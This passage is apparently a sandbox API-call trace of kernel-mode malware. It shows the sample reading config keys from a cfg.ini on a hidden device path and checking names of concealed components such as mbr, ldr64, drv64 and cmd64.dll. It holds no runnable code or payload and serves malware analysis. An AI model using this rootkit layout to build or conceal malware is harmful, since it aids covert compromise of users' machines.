0xfffffa80039d7d20 [0120.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.875] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.875] IdePortDispatch () returned 0x103 [0120.875] KeWaitForMutexObject () returned 0x0 [0120.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.876] KeLeaveCriticalRegion () [0120.876] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.876] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.876] KeEnterCriticalRegion () [0120.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.876] KeLeaveCriticalRegion () [0120.876] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.877] KeEnterCriticalRegion () [0120.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.877] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] KeLeaveCriticalRegion () [0120.877] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.877] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.877] KeEnterCriticalRegion () [0120.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] ExFreePoolWithTag (P=0xfffffa8003bc9cc0, Tag=0x0) [0120.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] KeLeaveCriticalRegion () [0120.877] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.877] ReleaseMutex (hMutex=0xf0) returned 1 [0120.877] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.877] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.877] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.877] KeEnterCriticalRegion () [0120.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.877] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.877] IdePortDispatch () returned 0x103 [0120.877] KeWaitForMutexObject () returned 0x0 [0120.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.877] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.877] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.877] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.877] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.877] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0120.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.877] KeLeaveCriticalRegion () [0120.877] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.877] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.877] KeEnterCriticalRegion () [0120.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.878] KeLeaveCriticalRegion () [0120.878] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.878] KeEnterCriticalRegion () [0120.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.878] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.878] IdePortDispatch () returned 0x103 [0120.878] KeWaitForMutexObject () returned 0x0 [0120.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.878] KeLeaveCriticalRegion () [0120.878] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.878] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.878] KeEnterCriticalRegion () [0120.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003518000 [0120.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.878] IdePortDispatch () returned 0x103 [0120.878] KeWaitForMutexObject () returned 0x0 [0120.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.878] IdePortDispatch () returned 0x103 [0120.879] KeWaitForMutexObject () returned 0x0 [0120.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.879] KeLeaveCriticalRegion () [0120.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.879] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.879] KeEnterCriticalRegion () [0120.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.879] KeLeaveCriticalRegion () [0120.879] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.879] KeEnterCriticalRegion () [0120.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.879] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.879] KeLeaveCriticalRegion () [0120.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.879] KeEnterCriticalRegion () [0120.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0120.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] KeLeaveCriticalRegion () [0120.880] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.880] ReleaseMutex (hMutex=0xf0) returned 1 [0120.880] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.880] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.880] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.880] KeEnterCriticalRegion () [0120.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.880] IdePortDispatch () returned 0x103 [0120.880] KeWaitForMutexObject () returned 0x0 [0120.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd2f0 [0120.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] KeLeaveCriticalRegion () [0120.880] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.880] KeEnterCriticalRegion () [0120.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] KeLeaveCriticalRegion () [0120.880] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.880] KeEnterCriticalRegion () [0120.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.881] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.881] IdePortDispatch () returned 0x103 [0120.881] KeWaitForMutexObject () returned 0x0 [0120.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.881] KeLeaveCriticalRegion () [0120.881] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.881] KeEnterCriticalRegion () [0120.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003519000 [0120.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.881] IdePortDispatch () returned 0x103 [0120.881] KeWaitForMutexObject () returned 0x0 [0120.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.881] IdePortDispatch () returned 0x103 [0120.881] KeWaitForMutexObject () returned 0x0 [0120.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] KeLeaveCriticalRegion () [0120.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.882] KeEnterCriticalRegion () [0120.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] KeLeaveCriticalRegion () [0120.882] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.882] KeEnterCriticalRegion () [0120.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.882] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] KeLeaveCriticalRegion () [0120.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.882] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.882] KeEnterCriticalRegion () [0120.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] ExFreePoolWithTag (P=0xfffffa8003bbd2f0, Tag=0x0) [0120.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.882] KeLeaveCriticalRegion () [0120.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.882] ReleaseMutex (hMutex=0xf0) returned 1 [0120.882] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.882] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.882] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.883] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.883] KeEnterCriticalRegion () [0120.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.883] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.883] IdePortDispatch () returned 0x103 [0120.883] KeWaitForMutexObject () returned 0x0 [0120.883] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.883] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.883] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.883] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.883] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.883] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.883] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.883] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.883] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.883] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.883] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.883] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.883] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.883] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.883] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.883] KeLeaveCriticalRegion () [0120.883] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.883] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.883] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.883] KeEnterCriticalRegion () [0120.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.883] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.883] IdePortDispatch () returned 0x103 [0120.883] KeWaitForMutexObject () returned 0x0 [0120.884] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.884] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.884] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.884] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.884] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.884] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.884] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.884] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.884] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.884] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.884] KeLeaveCriticalRegion () [0120.885] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.885] ReleaseMutex (hMutex=0x100) returned 1 [0120.885] Sleep (dwMilliseconds=0x2bf20) [0120.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b3f96b0, dwHighDateTime=0x1d24fa4)) [0120.891] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.891] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.891] KeEnterCriticalRegion () [0120.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.891] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.891] IdePortDispatch () returned 0x103 [0120.891] KeWaitForMutexObject () returned 0x0 [0120.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.891] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.891] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.891] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.891] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.891] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd850 [0120.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.891] KeLeaveCriticalRegion () [0120.891] 